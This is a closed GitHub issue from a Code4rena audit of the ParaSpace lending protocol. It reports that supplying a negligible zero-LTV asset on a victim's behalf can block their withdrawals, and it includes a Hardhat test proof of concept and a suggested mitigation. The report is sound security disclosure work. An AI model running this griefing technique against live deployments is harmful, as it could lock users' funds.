code-423n4 / 2022-11-paraspace-findings

7 stars 4 forks source link

Attacker can inject a negligible holding to a victim and make them unable to withdraw assets, temporarily or permanently #505

Closed trust1995 closed 1 year ago

trust1995 commented 1 year ago

IMPORTANT NOTE: For some unknown reason, when reporting in bulk all my issues, the issue below slipped out and was not reported. I know it should not be eligible for rewards, but given its importance, I want to make sure the project takes a look and hopefully fix it regardless.

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/logic/ValidationLogic.sol#L870

Description

ValidationLogic's validateHFAndLtvERC20 is called in withdraw operations to make sure user's health factor is above 1. It also does an additional check that if user has any asset with zero LTV collateral, it must be the asset withdrawn right now.

The issue is that users may supply assets on behalf of other users, so if an attacker supplies a zero-ish amount of 0 LTV asset to another user, it will stop them from withdrawing their other assets. During the supply flow, if it is the first supply of some asset it will set usingCollateral as true, so the attack does not need asset to be pre-approved as collateral as shown in POC.

Additionally, to unfreeze withdrawls user must uncollateralize them or withdraw them, but that is not necessarily possible. Both validateSetUseERC20AsCollateral() and validateWithdraw() require the target asset to be active and not paused. If one of these is not true, user actually can't do anything to be able to withdraw their holdings.

Impact

Attacker can inject a negligible holding to a victim and make them unable to withdraw assets, temporarily or permanents.

Proof of Concept

Please copy the POC below to _pool_core_erc20_withdraw.spec.ts:

context("LTV validation", () => {
  let testEnv: TestEnv;
  const {
    LTV_VALIDATION_FAILED,
    HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD,
  } = ProtocolErrors;
  it("User cannot withdraw funds after attack supplied them with bad collateral", async () => {
    testEnv = await loadFixture(testEnvFixture);
    const {
      pool,
      dai,
      usdc,
      weth,
      users: [user1, user2, user3],
      configurator,
      protocolDataProvider,
    } = testEnv;
    // User 1 deposits 10 Dai, 10 USDC, user 2 deposits 0.071 WETH
    const daiAmount = await convertToCurrencyDecimals(dai.address, "0.000001");
    const usdcAmount = await convertToCurrencyDecimals(usdc.address, "10");
    const wethAmount = await convertToCurrencyDecimals(weth.address, "0.071");
    await dai.connect(user1.signer).approve(pool.address, MAX_UINT_AMOUNT);
    await usdc.connect(user1.signer).approve(pool.address, MAX_UINT_AMOUNT);
    await weth.connect(user2.signer).approve(pool.address, MAX_UINT_AMOUNT);
    //await weth.connect(user3.signer).approve(pool.address, MAX_UINT_AMOUNT);
    await dai.connect(user3.signer).approve(pool.address, MAX_UINT_AMOUNT);
    await dai.connect(user1.signer)["mint(uint256)"](daiAmount);
    await usdc.connect(user1.signer)["mint(uint256)"](usdcAmount);
    await weth.connect(user2.signer)["mint(uint256)"](wethAmount);
    //await weth.connect(user2.signer)["mint(uint256)"](wethAmount);
    await dai.connect(user3.signer)["mint(uint256)"](daiAmount);
    await pool
        .connect(user1.signer)
        .supply(usdc.address, usdcAmount, user1.address, 0);
    await pool
        .connect(user2.signer)
        .supply(weth.address, wethAmount, user2.address, 0);
    // Set DAI LTV to 0
    expect(
        await configurator.configureReserveAsCollateral(
            dai.address,
            0,
            8000,
            10500
        )
    )
        .to.emit(configurator, "CollateralConfigurationChanged")
        .withArgs(dai.address, 0, 8000, 10500);
    const ltv = (
        await protocolDataProvider.getReserveConfigurationData(dai.address)
    ).ltv;
    expect(ltv).to.be.equal(0);
    // borrow 0.000414 WETH
    const borrowedAmount = await convertToCurrencyDecimals(
        weth.address,
        "0.000414"
    );
    expect(
        await pool
            .connect(user1.signer)
            .borrow(weth.address, borrowedAmount, 0, user1.address)
    );
    const withdrawnAmount = await convertToCurrencyDecimals(
        usdc.address,
        "0.00001"
    );
    await pool
        .connect(user1.signer)
        .withdraw(usdc.address, withdrawnAmount, user1.address)
    await pool
        .connect(user3.signer)
        .supply(dai.address, daiAmount, user1.address, 0);
    await expect(
        pool
            .connect(user1.signer)
            .withdraw(usdc.address, withdrawnAmount, user1.address)
    ).to.be.revertedWith(LTV_VALIDATION_FAILED);
  });
});

Tools Used

Manual audit

Recommended Mitigation Steps

Do not allow supply of 0 LTV collateral from one user to another.

Simon-Busch commented 1 year ago

Add Nullified as requested by @dmvt

JeeberC4 commented 1 year ago

Closed issue, as awarding was expecting a reportID